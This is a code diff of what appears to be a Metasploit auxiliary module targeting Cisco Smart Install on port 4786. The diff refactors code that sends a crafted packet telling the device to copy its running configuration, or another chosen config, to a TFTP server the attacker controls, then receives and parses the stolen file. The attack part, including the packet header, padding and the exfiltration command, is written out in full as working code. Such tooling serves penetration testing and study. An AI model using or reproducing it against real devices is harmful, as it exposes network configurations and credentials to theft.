@@ -42,7 +42,8 @@ def initialize(info = {})
42
42
[
43
43
Opt ::RPORT ( 4786 ) ,
44
44
OptAddressLocal . new ( 'LHOST' , [ false , "The IP address of the system running this module" ] ) ,
45
- OptInt . new ( 'SLEEP' , [ true , "Time to wait for config to come back" , 10 ] )
45
+ OptInt . new ( 'SLEEP' , [ true , "Time to wait for config to come back" , 10 ] ) ,
46
+ OptString . new ( 'CONFIG' , [ true , "The source config to copy when using DOWNLOAD" , "system:running-config" ] )
46
47
]
47
48
)
48
49
end
@@ -81,8 +82,8 @@ def cleanup
81
82
print_status ( "Providing some time for transfers to complete..." )
82
83
::IO . select ( nil , nil , nil , 5.0 )
83
84
84
- print_status ( "Shutting down the TFTP service..." )
85
85
if @tftp
86
+ print_status ( "Shutting down the TFTP service..." )
86
87
@tftp . close rescue nil
87
88
@tftp = nil
88
89
end
@@ -93,35 +94,33 @@ def cleanup
93
94
# Callback for incoming files
94
95
#
95
96
def process_incoming ( info )
96
- @config_recieved = true
97
97
return if not info [ :file ]
98
98
name = info [ :file ] [ :name ]
99
99
data = info [ :file ] [ :data ]
100
100
from = info [ :from ]
101
- return if not ( name and data )
101
+ return if not ( name && data && from )
102
102
103
103
# Trim off IPv6 mapped IPv4 if necessary
104
104
from = from [ 0 ] . dup
105
105
from . gsub! ( '::ffff:' , '' )
106
106
107
- print_status ( "Incoming file from #{ from } - #{ name } #{ data . length } bytes" )
108
- cisco_ios_config_eater ( from , 4786 , data )
107
+ print_status ( "Incoming file from #{ from } - #{ name } ( #{ data . length } bytes) " )
108
+ cisco_ios_config_eater ( from , rport , data )
109
109
end
110
110
111
111
def decode_hex ( string )
112
112
string . scan ( /../ ) . map { |x | x . hex } . pack ( 'c*' )
113
113
end
114
114
115
- def send_packet
116
- copy_config = "copy system:running- config tftp://#{ @lhost } /#{ Rex ::Text . rand_text_alpha ( 8 ) } "
115
+ def request_config ( tftp_server , config )
116
+ copy_config = "copy #{ config } tftp://#{ tftp_server } /#{ Rex ::Text . rand_text_alpha ( 8 ) } "
117
117
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
118
118
packet = ( decode_hex ( packet_header ) + copy_config + decode_hex ( ( '00' * ( 336 - copy_config . length ) ) ) ) + ( decode_hex ( ( '00' * ( 336 ) ) ) ) + ( decode_hex ( ( '00' * 336 ) ) )
119
- print_status ( "Requesting configuration from device... " )
119
+ print_status ( "Attempting #{ copy_config } " )
120
120
sock . put ( packet )
121
121
end
122
122
123
123
def run_host ( ip )
124
- @lhost = datastore [ 'LHOST' ] || Rex ::Socket . source_address ( ip )
125
124
begin
126
125
case
127
126
when action . name == 'SCAN'
@@ -133,8 +132,8 @@ def run_host(ip)
133
132
return unless smi?
134
133
disconnect # cant send any additional packets, so closing
135
134
connect
136
- print_status ( "Requesting configuration from device..." )
137
- send_packet
135
+ tftp_server = datastore [ 'LHOST' ] || Rex :: Socket . source_address ( ip )
136
+ request_config ( tftp_server , datastore [ 'CONFIG' ] )
138
137
print_status ( "Waiting #{ datastore [ 'SLEEP' ] } seconds for configuration" )
139
138
Rex . sleep ( datastore [ 'SLEEP' ] )
140
139
end
0 commit comments